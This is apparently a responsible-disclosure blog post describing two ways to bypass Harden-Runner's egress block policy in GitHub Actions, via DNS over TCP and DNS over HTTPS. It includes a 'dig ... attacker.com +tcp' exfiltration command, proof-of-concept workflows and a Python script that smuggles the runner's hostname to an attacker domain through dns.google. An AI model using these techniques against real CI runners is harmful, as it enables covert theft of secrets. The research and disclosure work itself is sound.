More egress filtering bypasses in harden-runner

Table of Contents
- Intro Lore
- What is Harden-Runner's Egress Policy?
- Egress Block Policy Bypass via DNS over TCP
- Egress Policy Bypass via DNS over HTTPS β Proxying DNS queries using Google's resolver
- Disclosure Timeline
Update: Since the publication of this research, the identified issues have been officially addressed in Harden Runner version 2.16.0. The maintainers have implemented fixes that mitigate the vulnerabilities discussed in this post.
Additionally, these issues have been assigned the following CVEs:
- CVE-2026-32947
- CVE-2026-25598
Users are strongly advised to upgrade to v2.16.0 or later to ensure they are protected against these vulnerabilities.
Intro Lore
Egress filtering in CI/CD is supposed to keep secrets in and attacker callbacks out. If your build step only needs to talk to github.com, it shouldn't be able to reach anything else. StepSecurity's Harden-Runner does this for GitHub Actions β you give it a list of allowed endpoints, set egress-policy: block, and everything else gets denied.
The filtering is domain-based. It watches outbound connections, checks the destination, and blocks anything not on the list. That works fine as long as data leaves through a visible connection to a visible domain.
DNS gives you two ways around that.
The first is DNS over TCP. Harden-Runner doesn't adequately restrict DNS queries sent over TCP, so a single dig +tcp command bypasses the entire policy. The second is DNS over HTTPS (DoH), where a DNS query gets wrapped inside a normal HTTPS request to a public resolver like dns.google. The resolver acts as a proxy β Harden-Runner sees a legitimate HTTPS connection and lets it through. It never looks at what's inside.
Both issues affect Harden-Runner v2.13.3 (community version) and likely all prior versions.
What is Harden-Runner's Egress Policy?
Harden-Runner enforces egress policies on GitHub runners by filtering outbound connections at the network layer. When egress-policy: block is enabled with a restrictive allowed-endpoints list, all non-compliant outbound traffic should be denied. A typical hardened workflow:
- name: Harden Runner
uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf
with:
egress-policy: block
disable-sudo: true
allowed-endpoints: >
github.com:443
After this step, any outbound connection to a domain or port not on the whitelist should be blocked.
Vulnerability 1: Egress Block Policy Bypass via DNS over TCP
DNS queries usually go over UDP on port 53. But DNS also works over TCP on the same port β it's standard, well-documented, and tools like dig support it with a +tcp flag. It's commonly used for large responses and zone transfers, nothing exotic.
Harden-Runner doesn't adequately restrict DNS queries sent over TCP. While it may handle standard UDP DNS and HTTPS connections, TCP-based DNS queries to an external resolver go through without being blocked or detected.
That means an attacker can run:
dig <exfiltrated-data>.attacker.com @8.8.8.8 +tcp
The query goes over TCP to Google's resolver, gets forwarded to attacker.com's nameserver, and the attacker reads the data out of the subdomain labels. Harden-Runner's dashboard shows zero outbound destinations and zero detections.
Proof of Concept
name: PoC
on: [push, workflow_dispatch]
jobs:
bypass-firewall:
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf
with:
egress-policy: block
disable-sudo: true
allowed-endpoints: >
github.com:443
- name: Test bypass
run: dig YOUR_BURP_SERVER @8.8.8.8 +tcp
dig is pre-installed on every Ubuntu runner. Harden-Runner shows 0 outbound destinations, 0 HTTPS events, and 0 detections. The Burp Collaborator server receives the DNS query. The entire egress block policy bypassed with a single command.
Step Security Dashboard (our C2 domain is not getting flagged)

Data exfiltration to our C2

Vulnerability 2: Egress Policy Bypass via DNS over HTTPS β Proxying DNS queries using Google's resolver
DNS over HTTPS (DoH) wraps DNS queries inside standard HTTPS requests. From the network's perspective, a DoH request to dns.google looks like a normal HTTPS connection to a well-known endpoint. Harden-Runner sees it and lets it through.
The idea is simple, use dns.google as a proxy. An attacker crafts a DNS query where the domain being resolved is <exfiltrated-data>.attacker.com, sends it as an HTTPS POST to dns.google/dns-query, and Google's resolver forwards it to the attacker's authoritative nameserver. The data is encoded in the subdomain labels, the runner's hostname, environment variables, secrets, whatever fits.
The egress filter sees an HTTPS connection to a legitimate destination. It never inspects what's inside. The attacker's domain never appears in any connection log.
Proof of Concept
The workflow sets up Harden-Runner with a restrictive policy (only github.com:443), then runs a Python script that exfiltrates the runner's hostname via DoH through Google's resolver:
name: PoC
on: [push, workflow_dispatch]
jobs:
bypass-firewall:
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf
with:
egress-policy: block
disable-sudo: true
allowed-endpoints: >
github.com:443
- uses: actions/checkout@v4
- name: Test bypass
run: python3 http.py
The http.py script builds a DNS wire-format query with the runner's hostname encoded as a subdomain, then sends it as a DoH request to dns.google:
import subprocess
import base64
import socket
MY_DOMAIN = "YOUR_DOMAIN" # replace this with your burp collaborator server
try:
hostname_result = subprocess.run(['hostname'], capture_output=True, text=True, check=True)
hostname = hostname_result.stdout.strip()
except subprocess.CalledProcessError:
raise RuntimeError("Failed to retrieve hostname via system command")
full_domain = f"{hostname}.{MY_DOMAIN}"
labels = full_domain.split('.')
name_encoded = b''.join(bytes([len(label)]) + label.encode('ascii') for label in labels) + b'\x00'
header = b'\xab\xcd\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00'
tail = b'\x00\x01\x00\x01'
msg = header + name_encoded + tail
encoded = base64.urlsafe_b64encode(msg).rstrip(b'=').decode('ascii')
url = f"https://dns.google/dns-query?dns={encoded}"
try:
curl_result = subprocess.run(
['curl', '-H', 'accept: application/dns-message', url],
capture_output=True,
check=True
)
dns_response = curl_result.stdout
except subprocess.CalledProcessError as e:
raise RuntimeError(f"Failed to execute curl command: {e}")
print(dns_response)
PoC Execution

Step Security Dashboard (our C2 domain is not getting flagged)

Data exfiltration to our C2

Harden-Runner shows 1 destination (github.com), 0 HTTPS events, and 0 detections. The Collaborator server receives the DNS query with the runner's hostname. Data exfiltrated cleanly through a permitted HTTPS connection β dns.google acted as an unwitting proxy.
Disclosure Timeline
- Discovery & Report (DNS over TCP): 4th December 2025 (GHSA-g699-3x6g-wm3g)
- Discovery & Report (DNS over HTTPS): 5th December 2025 (GHSA-46g3-37rh-v698)
- Vendor Contact: 4thβ5th December 2025
- Vendor Acknowledgment: Acknowledged over email
- Possible Fix: step-security/agent#469 β not tested
- Public Disclosure: 15th March 2026
Both vulnerabilities were reported to the StepSecurity team in early December 2025 via GitHub Security Advisories. The 90-day disclosure timeline was applied naturally, with the blog post date set for mid-March, 2026. StepSecurity acknowledged the reports over email, but my last follow-up message on the advisories asking for updates went unanswered and no CVE was issued.
These were tested against the community version of Harden-Runner (v2.13.3). It's possible this was addressed in step-security/agent#469, but I have not tested it. Since the 90-day disclosure window has passed and I did not hear back about a CVE, I am disclosing now. CVEs are pending.